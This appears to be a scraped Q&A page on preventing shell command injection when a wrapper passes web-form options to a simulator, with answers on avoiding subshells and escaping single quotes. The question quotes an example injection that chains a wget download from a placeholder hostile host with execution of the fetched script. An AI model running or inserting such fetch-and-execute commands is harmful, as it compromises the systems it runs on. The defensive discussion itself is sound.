How to prevent command injection through command options?
Solution 1
If you have control over the wrapper program, then make sure that it doesn't invoke a subshell. Deep down, an instruction to execute a program consists of the full path (absolute or relative to the current directory) to the executable, and a list of strings to pass as arguments. PATH lookup, whitespace separating arguments, quoting and control operators are all provided by the shell. No shell, no pain.
For example, with a Perl wrapper, use the list form of exec
or system
. In many languages, call one of the exec
or execXXX
functions (or unix.exec
or whatever it's called) rather than system
, or os.spawn
with shell=False
, or whatever it takes.
If the wrapper is a shell script, use "$@"
to pass down the arguments, e.g.
#!/bin/sh
mysim -preset-opt "$@"
If you have no choice and the wrapper program invokes a shell, you'll need to quote the arguments before passing them to the shell. The easy way to quote arguments is to do the following:
- In each argument, replace each occurrence of
'
(single quote) by the four-character string'\''
. (e.g.don't
becomesdon'\''t
) - Add
'
at the beginning of each argument and also at the end of each argument. (e.g. fromdon't
,don'\''t
becomes'don'\''t'
) - Concatenate the results with a space in between.
If you need to do this in a shell wrapper, here's a way.
arguments='-preset-opt'
for x; do
arguments="$arguments '"
while case $x in
*\'*) arguments="$arguments${x%%\'*}'\\''"; x=${x#*\'};;
*) false;; esac
do :; done
arguments="$arguments$x'"
done
(Unfortunately, bash's ${VAR//PATTERN/REPLACEMENT}
construct, which should come handy here, requires quirky quoting, and I don't think you can obtain '\''
as the replacement text.)
Solution 2
You can use Bash's ${VAR//PATTERN/REPLACEMENT}
idiom to transform a single quote '
into '\''
by first putting '\''
into a variable (as an intermediate step) and then expanding this variable as the REPLACEMENT
element in the mentioned Bash idiom.
# example
{
str="don't"
escsquote="'\''"
str="'${str//\'/${escsquote}}'"
printf '%s\n' "$str" # 'don'\''t'
}
Related videos on Youtube
![Victor Lyuboslavsky](https://i.stack.imgur.com/Ts2yY.png?s=256&g=1)
Victor Lyuboslavsky
Enthusiast programmer, entrepreneur, author. My Book Telemedicine and Telehealth 2.0 Favorite Resources EDA Playground - run HDL simulations online (supports SystemVerilog, Verilog, VHDL, and other HDLs) SystemVerilog LRM IEEE Std 1800-2012 (includes legacy Verilog) UVM 1.2 Class Reference UVM 1.1d Class Reference
Updated on September 18, 2022Comments
-
Victor Lyuboslavsky almost 2 years
I have an wrapper application where I need to let the user specify custom options to pass to a simulator. However, I want to make sure the user doesn't inject other commands through the user options. What's the best way to accomplish this?
For example.
- User provides:
-a -b
- Application executes:
mysim --preset_opt -a -b
However, I don't want this to happen:
- User provides:
&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh
- Application executes:
mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
Currently, I'm thinking that I could simply surround every user provided option with single quotes
'
and strip out any user-provided single quotes, so that the command in the last example would turn out to be a harmless:mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'
Note: The
mysim
command executes as part of a shell script in a docker/lxc container. I'm running Ubuntu.-
choroba almost 11 yearsAre you using
eval
to run the application? If not, the injection should not happen:x="&& echo Doomed" ; echo $x
-
Victor Lyuboslavsky almost 11 yearsNo, I'm not using
eval
. I'm calling the executablemysim
inside a shell script. I am seeing the injection happen if I simply copy the string of options that the user provides and paste it at the end ofmysim
command. -
choroba almost 11 yearsDoes the wrapper application copy and paste the string of options?
-
Victor Lyuboslavsky almost 11 yearsYes, the user options come in as a single string, like
-a -b
. So I'm looking to ensure that additional commands aren't injected in that string. -
Ulrich Schwarz almost 11 yearscan you whitelist? only allowing characters
[a-zA-Z0-9 _-]
looks like a pretty defensive choice. -
Victor Lyuboslavsky almost 11 yearsAllowing only certain characters is one option. Although the list may end up growing since some options may need to use
+
,=
, and other characters I don't know about yet. I'd like not to resort to that if there is a cleaner solution. -
choroba almost 11 years@VictorLyuboslavsky: How exactly do you get the user input and create the command from it?
-
Victor Lyuboslavsky almost 11 years@choroba, I know the command I need to run and some mandatory options for that command. Then I get additional options as a string from a web form. So the final command should be
mysim --my_opts
+<user_opts>
-
choroba almost 11 years@VictorLyuboslavsky: in what language and how do you call the actual command?
-
Victor Lyuboslavsky almost 11 years@choroba, I put the command (along with other commands) into a run.sh file. I create a docker container image that has run.sh and other files I need. Then I call
/bin/bash -c docker run <my_image> ./run.sh
using Java ProcessBuilder. -
Admin almost 8 yearsRelated Stack Overflow question: "Bash - Escaping for proper shell injection prevention".
- User provides:
-
Matheus Garcia over 2 yearsDownvote but no comment? If downvoting, at least provide a reason. The answer is based upon own practical experience. Unless you have a good reason to, do not downvote, or provide a reason.